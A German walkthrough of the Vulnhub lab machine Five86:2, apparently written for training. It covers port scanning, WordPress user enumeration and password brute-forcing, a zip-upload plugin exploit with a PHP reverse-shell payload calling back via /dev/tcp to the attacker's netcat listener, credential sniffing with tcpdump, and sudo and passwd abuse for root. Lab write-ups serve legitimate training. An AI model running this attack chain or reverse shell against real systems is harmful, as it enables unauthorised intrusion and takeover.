Five86:2 – Vulnhub

VM: Five86: 2
Quelle: www.vulnhub.com
Ziel: bekommen der Root Rechte.
Tools: NMAP, netcat, WPScan, tcpdump
Techniken: Netzwerk & Port Scan, Enumeration, Bug using, Reverse Shell, Traffic Analyse

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

Five86:2 Network Scan

Bei mir wurde der VM die IP 192.168.178.87 (rot markiert) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.87 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

Five86:2 Port Scan

Wie auf dem Bild zu sehen ist, wurden drei offene Ports ermittelt:

PortService
20FTP-Data (Closed)
21FTP
80HTTP

Schritt 2: Enumeration

Port 20 – FTP-Data

Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.

Port 21 – FTP Server

Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen. Es ist keine Verbindung mit einem „anonymous“ Benutzer möglich.

Port 21 – HTTP Server

Aus den Ergebnissen von dem NMAP Scan können wir sehen, dass auf dem Host eine WordPress Installation läuft. Wenn wir es im Internet-Browser öffnen, sehen wir eine Standard WordPress Instanz ohne jegliche Informationen. Um mehr Information zu finden, nutzen wir WPScan.

Schritt 3: WordPress Scan & Enumeration

Versuchen wir aus der WordPress Installation so viele Informationen wie möglich zu bekommen. Zuerst machen wir ein allgemeinen Scan mit WPScan.

wpscan --url=http://192.168.178.87

Einzige nützliche Information, die wir dabei finden könnten, ist dass der Inhalt des Upload Verzeichnisses sichtbar ist.

Five86:2 WordPress Scan

Versuchen wir die Benutzer von WordPress zu ermitteln:

wpscan --url=http://192.168.178.87 -e u

Dabei können wir fünf Benutzer ermitteln, mit denen wir versuchen können, einen Brute Force Angriff gegen die Installation zu machen.

Five86:2 WordPress Scan Enumerate User

Dafür erstellen wir eine Textdatei user.txt und fügen da die gefundenen Benutzer ein. Als Wörterbuch nehmen wir rockyou.txt.

wpscan --url=http://192.168.178.87 -U user.txt -P /usr/share/wordlists/rockyou.txt

Nach einiger Zeit bekommen zwei Benutzer, bei welchen es möglich war, das Passwort zu finden.

Five86:2 WordPress User Brute Force

Jetzt können wir uns einloggen und nach weiteren Möglichkeiten umschauen. Beim Login Test wurde festgestellt, dass der Benutzer stephen ein normaler Benutzer ohne Privilegien ist, der Benutzer barney dagegen kann selbst Beiträge posten und auf Plug-ins zugreifen.

Dabei fiel unter den Plug-ins ein Plug-in auf, welches nicht zur Standard Installation gehört.

Five86:2 WordPress Plug-In

Nach einer Recherche wurde festgestellt, dass dieses Plug-In es ermöglicht einem Autor ein Archiv hoch zu laden, welches dann automatisch entpackt wird und beinhaltete *.html Datei in den Artikel eingebunden werden. Ein Blick zu www.exploit-de.com liefert uns auch passendes Exploit.

Erstellen wir zwei Dateien mit folgendem Inhalt:

index.html

<html><body>Text</body></html>

index.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>

In der index.php starten wir eine Reverse Shell auf unseren Rechner. Jetzt verpacken wir die zwei Dateien in ein ZIP-Archiv und laden es hoch.

zip shell.zip index.*

In der WordPress Installation:

Five86:2 WordPress Upload Exploit

In dem gestarteten Modul auf:

Upload -> Choose your Zip file -> Datei auswählen -> Upload -> Insert

Jetzt können wir den Pfad zu unseren Dateien sehen.

Five86:2 WordPress Exploit Path

Um eine Reverse Shell Verbindung aufzubauen, brauchen wir zuerst einen „Empfänger“ auf unserer Seite.

nc -lvp 8888

Jetzt können wir unseres index.php Skript aufrufen:

http://192.168.178.87/wp-content/uploads/articulate_uploads/shell1/index.php

Schritt 4: Enumeration

Jetzt haben wir eine Reverse Shell auf den Ziel Server. Allerdings läuft die Session mit den Berechtigungen von den www-data Systembenutzer. Versuchen wir uns mit den vorher ermittelten Zugangsdaten einzuloggen. Vielleicht passt einer der Benutzer, dann haben wir eventuell bessere Rechte auf dem System.

Five86:2 User Login

Wie man auf dem Bild sehen kann, hat der Benutzer stephen das gleiche Passwort auf dem System wie auf dem WordPress. Außerdem ist der stephen in der Gruppe pcap. Wenn wir danach suchen, welche Dateien der Benutzer der Gruppe pcap ausführen kann, finden wir nur das Programm tcpdump.

cd /
ls -lahR 2>/dev/null |grep pcap

Five86:2 tcpdump

Wie der Name des Programms schon sagt, können wir damit ein Dump von der Daten erstellen, die über TCP/IP Protokoll übertragen werden. Also müssen wir unsere weitere Untersuchengen in Richtung Netzwerkprotokolle machen. Werfen wir doch einen Blick auf die Netzwerkinterfaces:

ip link

Five86:2 Network Interfaces

In der Auflistung können wir fünf Netzwerkschnittstellen sehen. Davon interessant sind mindestens drei. Schnittstellen 1 (lo = Loopback, eigener Host) und 3 (docker0, Status NO-CARRIER) sind uninteressant. Bei der Schnittstelle 2 (eth0, Netzwerkkarte) handelt es sich um eine Schnittstelle, die an Lokales Netzwerk angeschlossen ist, Schnittstelle 4 (br-*, Bridge) ist eine lokale Brücke zwischen den Schnittstellen und Schnittstelle 6 (vethe*, virtuelles Ethernet) ist eine virtuelle Schnittstelle für z.B. Docker Container. Interessant sind dabei die Schnittstellen 4 und 6. Über sie läuft die Kommunikation zwischen dem Docker Container und dem Host. Die Bridge Schnittstelle ist für uns interessanter, da bei mehreren Docker Container, läuft die gesamte Kommunikation trotzdem über diese Schnittstelle.

tcpdump -c 100 -i br-eca3858d86bf

Nach einiger Zeit können wir folgenden Netzwerkverkehr mitschneiden:

Five86:2 TCP Scan

Es wird versucht eine FTP Verbindung auf eine Interne IP aufzubauen, da die Verbindung nicht verschlüsselt ist, können wir den gesamten Verkehr im Klartext lesen. Interessant sind folgende Befehle:

FTP: USER paul
FTP: PASS esomepasswford

Wir haben weitere Zugangsdaten gefunden. Versuchen wir uns mit diesen einzuloggen.

Five86:2 Login Paul

Login funktioniert. Mit sudo -l sehen wir, dass wir eine service als Benutzer paul ohne Passwort starten können. Das machen wir auch direkt:

Five86:2 Login Peter

Mit dem Benutzer peter können wir /usr/bin/passwd ohne Passwort starten. Also wir können auch das Passwort von dem Benutzer root festlegen…

Five86:2 Login root

und der letzte Strich:

Five86:2 Final